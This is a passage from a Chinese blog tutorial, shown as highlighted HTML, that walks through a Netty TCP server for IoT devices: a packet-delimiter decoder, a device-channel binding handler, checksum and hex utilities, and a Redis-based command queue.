class="keyword">public</span> <span class="keyword">void</span> <span class="title">exceptionCaught</span><span class="params">(ChannelHandlerContext ctx, Throwable cause)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> logger.error(<span class="string">"TCP连接异常!,信息:{}"</span>,cause.getMessage(),cause);</span><br><span class="line"><span class="comment">// ctx.close();</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>以上为数据处理类,首先判断包头是否为约定的16进制数据,其次判断包尾是否为约定的字节,如不是则return继续接收数据直到接收到了包尾。</p><p>工具类 <code>StringUtil.byteToHexString</code>的作用是将字节转换为16进制字符串,此工具类为netty自带,**<code>(src[0] & 0x000000ff)</code> 表示将下标为0的字节转换为16进制**</p><h3><span id="创建字节处理初始化类">创建字节处理初始化类</span></h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ServerInitializer</span> <span class="keyword">extends</span> <span class="title">ChannelInitializer</span><<span class="title">SocketChannel</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">initChannel</span><span class="params">(SocketChannel channel)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> channel.pipeline(). </span><br><span class="line"> <span class="comment">//包尾以EFGG结束,使用netty自带的粘包处理器,false参数表示不去掉包尾字符</span></span><br><span class="line"> addLast(<span class="keyword">new</span> DelimiterBasedFrameDecoder(<span class="number">1024</span>,<span class="keyword">false</span>,Unpooled.copiedBuffer(TCPServerUtils.hexStr2bytes(<span class="string">"EFGG"</span>)))).</span><br><span class="line"> addLast(<span class="keyword">new</span> CustomDecode()). <span class="comment">//自定义解码器</span></span><br><span class="line"> addLast(<span class="keyword">new</span> TCPServerHandler()) <span class="comment">//自定义处理器</span></span><br><span class="line"> ;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line">} </span><br></pre></td></tr></table></figure><p>初始化字节处理类,并使用netty自带的粘包处理器解决粘包问题,<code>addLast(new DelimiterBasedFrameDecoder(1024,false,Unpooled.copiedBuffer(TCPServerUtils.hexStr2bytes("EFGG"))))</code> 表示以EFGG结尾的数据分割包</p><p>简单的说明一下半包和粘包,<strong>半包:</strong> 假设数据包以16进制 AABB开头,以EFGG结尾,中间放具体数据,但是TCP传输可能只传了AABB,EFGG可能是在第二次传输过来,因此要等一个完整的数据包传输过来后再做处理。</p><p><strong>粘包:</strong> 假设数据包内容为”AABBHHEFGG“是一个完整的包,但是TCP在传输过程中可能是这样传的:<code>AABBHHEFGGAABBH</code> ,本来应该是两个包的内容给放在了一起,而且还不完整,这就是粘包。</p><h3><span id="创建业务处理类">创建业务处理类</span></h3><p>有了上面的字节处理类,在这一层拿到的就是分割好的完整数据包了,此时可以对字节做截取,去掉包头包尾读取中间内容,代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TCPServerHandler</span> <span class="keyword">extends</span> <span class="title">ChannelInboundHandlerAdapter</span></span>{</span><br><span class="line">Logger logger = LoggerFactory.getLogger(getClass());</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">channelRead</span><span class="params">(ChannelHandlerContext ctx, Object msg)</span> </span>{</span><br><span class="line"><span class="comment">// 这里msg就是从解码器中传来的数据,解码器传输过来是什么格式,这里直接转成对应的格式就可以</span></span><br><span class="line"><span class="keyword">byte</span>[] src = (<span class="keyword">byte</span>[]) msg;</span><br><span class="line"></span><br><span class="line">String hexString = StringUtil.toHexString(src);</span><br><span class="line"><span class="comment">//logger.info("接收到完整16进制数据:{}", hexString);</span></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">Channel channel = ctx.channel();</span><br><span class="line"></span><br><span class="line"><span class="comment">// TODO 此处一般先要拿到数据包做一次checksum,即判断一下包数据是否正确</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 要返回的字节</span></span><br><span class="line"><span class="keyword">byte</span>[] resp = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 假设功能码字节在第8位</span></span><br><span class="line"><span class="keyword">byte</span> action = src[<span class="number">8</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> ((action & <span class="number">0x000000ff</span>)) {</span><br><span class="line"><span class="keyword">case</span> <span class="number">0x08</span>:</span><br><span class="line"><span class="comment">// 假设0x08表示请求认证</span></span><br><span class="line">resp = ServerUtils.makeResponse(<span class="string">"0200"</span>,<span class="string">"01"</span>);<span class="comment">// 返回成功</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//TODO 此处绑定channel与识别码</span></span><br><span class="line">map.put(deviceId,channel);<span class="comment">//deviceId 从数据包中截取</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//上报在线状态</span></span><br><span class="line">...</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">logger.error(<span class="string">"未知的上传包信息!"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (resp != <span class="keyword">null</span>) {</span><br><span class="line">ByteBuf buf = Unpooled.copiedBuffer(resp);</span><br><span class="line">channel.writeAndFlush(buf);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">logger.info(<span class="string">"服务器处理出错!出错信息:{}"</span>,e.getMessage(),e);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 设备离线事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">handlerRemoved</span><span class="params">(ChannelHandlerContext ctx)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"><span class="comment">//TODO 上报离线状态</span></span><br><span class="line"><span class="keyword">super</span>.handlerRemoved(ctx);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">exceptionCaught</span><span class="params">(ChannelHandlerContext ctx, Throwable cause)</span> </span>{</span><br><span class="line">cause.printStackTrace();</span><br><span class="line">logger.error(<span class="string">"发生异常:"</span> + cause.getMessage());</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>注意点:一定要新建一个Map保存认证设备的唯一识别码,netty中的channel即表示一个会话,因此在请求认证时就要将识别码与channel进行绑定,这样才可以随时向客户端发送消息。</strong></p><p>checksum工具类代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">makeChecksum</span><span class="params">(String data)</span> </span>{</span><br><span class="line"><span class="keyword">if</span> (data == <span class="keyword">null</span> || data.equals(<span class="string">""</span>)) {</span><br><span class="line"><span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> total = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> len = data.length();</span><br><span class="line"><span class="keyword">int</span> num = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (num < len) {</span><br><span class="line">String s = data.substring(num, num + <span class="number">2</span>);</span><br><span class="line">total += Integer.parseInt(s, <span class="number">16</span>);</span><br><span class="line">num = num + <span class="number">2</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用256求余最大是255,即16进制的FF</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">int</span> mod = total % <span class="number">256</span>;</span><br><span class="line">String hex = Integer.toHexString(mod);</span><br><span class="line">len = hex.length();</span><br><span class="line"><span class="comment">// 如果不够校验位的长度,补0,这里用的是两位校验</span></span><br><span class="line"><span class="keyword">if</span> (len < <span class="number">2</span>) {</span><br><span class="line">hex = <span class="string">"0"</span> + hex;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> hex;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3><span id="创建netty-tcp服务启动类">创建netty TCP服务启动类</span></h3><p>由于我是使用的spring boot框架因此直接在初始化事件中创建netty服务,也可以直接在main方法中启动,代码如下 :</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ServerStarter</span> <span class="keyword">implements</span> <span class="title">ApplicationListener</span><<span class="title">ContextRefreshedEvent</span>></span>{</span><br><span class="line"></span><br><span class="line">Logger logger = LoggerFactory.getLogger(getClass());</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onApplicationEvent</span><span class="params">(ContextRefreshedEvent event)</span> </span>{</span><br><span class="line"> <span class="comment">//创建线程组</span></span><br><span class="line"> EventLoopGroup bossGroup = <span class="keyword">new</span> NioEventLoopGroup();</span><br><span class="line"> EventLoopGroup workerGroup = <span class="keyword">new</span> NioEventLoopGroup();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//创建启动类</span></span><br><span class="line"> ServerBootstrap b = <span class="keyword">new</span> ServerBootstrap(); </span><br><span class="line"> b.group(bossGroup, workerGroup)</span><br><span class="line"> .channel(NioServerSocketChannel.class)</span><br><span class="line"> .childHandler(<span class="keyword">new</span> ServerInitializer())</span><br><span class="line"> .option(ChannelOption.SO_BACKLOG, <span class="number">256</span>)</span><br><span class="line"> .childOption(ChannelOption.SO_KEEPALIVE, <span class="keyword">true</span>);</span><br><span class="line"> <span class="comment">// 绑定端口</span></span><br><span class="line"> ChannelFuture f = b.bind(<span class="number">2077</span>).sync();</span><br><span class="line"> <span class="comment">// 等待服务器 socket 关闭 。</span></span><br><span class="line"> f.channel().closeFuture().sync();</span><br><span class="line"> } <span class="keyword">catch</span> (InterruptedException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">} <span class="keyword">finally</span> {</span><br><span class="line"> workerGroup.shutdownGracefully();</span><br><span class="line"> bossGroup.shutdownGracefully();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>OK,现在TCP服务的架子已经搭好,只需往里面填充业务代码即可。</p><h3><span id="常用的工具类">常用的工具类</span></h3><p>附上可能会用到的工具类,比如16进制转10进制,16进制转2进制等</p><p><strong>十六进制转byte[]数组</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] hexStr2bytes(String hexStr) {</span><br><span class="line"><span class="keyword">if</span> (StringUtils.isEmpty(hexStr)) {</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (hexStr.length() % <span class="number">2</span> != <span class="number">0</span>) {<span class="comment">// 长度为单数</span></span><br><span class="line">hexStr = <span class="string">"0"</span> + hexStr;<span class="comment">// 前面补0</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">char</span>[] chars = hexStr.toCharArray();</span><br><span class="line"><span class="keyword">int</span> len = chars.length / <span class="number">2</span>;</span><br><span class="line"><span class="keyword">byte</span>[] bytes = <span class="keyword">new</span> <span class="keyword">byte</span>[len];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < len; i++) {</span><br><span class="line"><span class="keyword">int</span> x = i * <span class="number">2</span>;</span><br><span class="line">bytes[i] = (<span class="keyword">byte</span>) Integer.parseInt(String.valueOf(<span class="keyword">new</span> <span class="keyword">char</span>[] { chars[x], chars[x + <span class="number">1</span>] }), <span class="number">16</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> bytes;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>大小端处理 ,低位字节排放在内存的低地址端,高位字节排放在内存的高地址端。</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">toLittleEndian</span><span class="params">(<span class="keyword">int</span> a)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (((a & <span class="number">0xFF</span>) << <span class="number">24</span>) | (((a >> <span class="number">8</span>) & <span class="number">0xFF</span>) << <span class="number">16</span>) | (((a >> <span class="number">16</span>) & <span class="number">0xFF</span>) << <span class="number">8</span>) | ((a >> <span class="number">24</span>) & <span class="number">0xFF</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>10进制数字转16进制数字</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">numberToHexString</span><span class="params">(Integer number)</span> </span>{</span><br><span class="line">String hex = Integer.toHexString(number);</span><br><span class="line"><span class="keyword">if</span>(number<<span class="number">16</span>) {</span><br><span class="line">hex = <span class="string">"0"</span>+hex;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> hex;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>checksum,上面已经贴过再贴一次</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">makeChecksum</span><span class="params">(String data)</span> </span>{</span><br><span class="line"><span class="keyword">if</span> (data == <span class="keyword">null</span> || data.equals(<span class="string">""</span>)) {</span><br><span class="line"><span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> total = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> len = data.length();</span><br><span class="line"><span class="keyword">int</span> num = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (num < len) {</span><br><span class="line">String s = data.substring(num, num + <span class="number">2</span>);</span><br><span class="line">total += Integer.parseInt(s, <span class="number">16</span>);</span><br><span class="line">num = num + <span class="number">2</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用256求余最大是255,即16进制的FF</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">int</span> mod = total % <span class="number">256</span>;</span><br><span class="line">String hex = Integer.toHexString(mod);</span><br><span class="line">len = hex.length();</span><br><span class="line"><span class="comment">// 如果不够校验位的长度,补0,这里用的是两位校验</span></span><br><span class="line"><span class="keyword">if</span> (len < <span class="number">2</span>) {</span><br><span class="line">hex = <span class="string">"0"</span> + hex;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> hex;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>截取字节</strong> (这个可能是最常用的了,后来我才发现java自带的bytebuffer已经自带大小端转换功能)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">catoutByte</span><span class="params">(<span class="keyword">byte</span>[] sourceBytes,<span class="keyword">int</span> startPos,<span class="keyword">int</span> len)</span> </span>{</span><br><span class="line"><span class="keyword">byte</span>[] cbyte = <span class="keyword">new</span> <span class="keyword">byte</span>[len]; </span><br><span class="line">System.arraycopy(sourceBytes, startPos, cbyte, <span class="number">0</span>, len);<span class="comment">//截取字节</span></span><br><span class="line"><span class="comment">//使用Java bytebuff处理类包装</span></span><br><span class="line">ByteBuffer bb = ByteBuffer.wrap(cbyte);</span><br><span class="line"></span><br><span class="line"><span class="comment">//大小端转换,转换成小端模式</span></span><br><span class="line">bb.order(ByteOrder.LITTLE_ENDIAN);</span><br><span class="line">String vHex = StringUtil.toHexString(bb.array());</span><br><span class="line"><span class="keyword">return</span> vHex;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1><span id="使用redis作为设备指令发送队列">使用Redis作为设备指令发送队列</span></h1><p>更新日期:2021-7-7 ,新增使用redis作简单队列,发送指令到设备。</p><p><strong>此方式需要可容忍指令丢失,因为有可以在取出指令后服务器挂掉或一直未获取到锁导致指令超时,可靠消息列队应当使用队列中间件</strong></p><p><strong>首先在你的发送指令类的构造函数中创建一个线程池,在指令并发较大时可以有效节省资源</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ExecutorService pool;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">Commander</span><span class="params">()</span> </span>{</span><br><span class="line">pool = Executors.newFixedThreadPool(<span class="number">35</span>);<span class="comment">//参数看情况具体设定</span></span><br><span class="line"><span class="comment">//检查队列命令专用线程,该线程不可结束</span></span><br><span class="line">pool.execute(()->sendCommandByQueen(<span class="keyword">false</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: sendCommandByQueue</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 从队列中获取指令并排队发送</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reiner_shir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2021年7月7日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> canOver 是否可以在没有指令时结束循环</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">sendCommandByQueue</span><span class="params">(<span class="keyword">boolean</span> canOver)</span> </span>{</span><br><span class="line"><span class="keyword">do</span> {</span><br><span class="line"><span class="comment">//从队列中取指令</span></span><br><span class="line">String commandStr = canOver?redisTemplate.opsForList().rightPop(REDIS_COMMAND_LIST):</span><br><span class="line">redisTemplate.opsForList().rightPop(REDIS_COMMAND_LIST,<span class="number">0</span>,TimeUnit.SECONDS);</span><br><span class="line"><span class="keyword">if</span>(StringUtils.isEmpty(commandStr)) {</span><br><span class="line"><span class="keyword">if</span>(canOver) {</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="comment">//读取队列中的命令</span></span><br><span class="line">Command command=<span class="keyword">null</span>;</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//json转对象</span></span><br><span class="line">command = JacksonUtil.readValue(commandStr, Command.class);</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">logger.error(<span class="string">"指令内容转换出错:{}"</span>,command,e);</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line">String deviceId = command.getDeviceId();</span><br><span class="line">String actionCode = command.getActionCode();</span><br><span class="line">String responseData= command.getResponseData();</span><br><span class="line"><span class="keyword">long</span> time = command.getTime();</span><br><span class="line"><span class="keyword">if</span>(!NettyChannelManager.hasKey(deviceId)) {</span><br><span class="line">logger.warn(<span class="string">"错误的指令请求,该设备未连接,设备号:{}"</span>,deviceId);</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line">String key = Contract.COMMAND_REDIS_KEY+deviceId;</span><br><span class="line">pool.execute(()->{</span><br><span class="line"><span class="keyword">boolean</span> flag = <span class="keyword">false</span>;</span><br><span class="line"><span class="keyword">do</span> {</span><br><span class="line"><span class="keyword">long</span> nowTime = System.currentTimeMillis();</span><br><span class="line"><span class="comment">//判断队列中的指令是否超时</span></span><br><span class="line"><span class="keyword">if</span>(((nowTime-time)/<span class="number">1000</span>)><span class="number">15</span>) {</span><br><span class="line">logger.warn(<span class="string">"指令已超时:指令内容:{},功能码:{},发送的设备号:{},超时时间:{}"</span>,responseData,actionCode,deviceId,((nowTime-time)/<span class="number">1000</span>));</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//判断该设备是否有正在发送中的指令,指令状态失效时间为7秒</span></span><br><span class="line"><span class="keyword">if</span>(redisTemplate.opsForValue().setIfAbsent(key, <span class="string">"1"</span>, <span class="number">7</span>, TimeUnit.SECONDS)) {</span><br><span class="line"><span class="comment">//deviceId = command.getDeviceId();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//如果没有正在发送中的指令,占用锁发送指令</span></span><br><span class="line">sendCommand(deviceId,actionCode,responseData);</span><br><span class="line">flag = <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="comment">//否则睡眠一秒再检查</span></span><br><span class="line">Thread.sleep(<span class="number">400l</span>);</span><br><span class="line">} <span class="keyword">catch</span> (InterruptedException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line">}<span class="keyword">while</span>(!flag);</span><br><span class="line">});</span><br><span class="line">}<span class="keyword">while</span>(<span class="keyword">true</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> String REDIS_COMMAND_LIST=<span class="string">"REDIS_COMMAND_QUEUE_LIST"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*对外调用此方法</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span 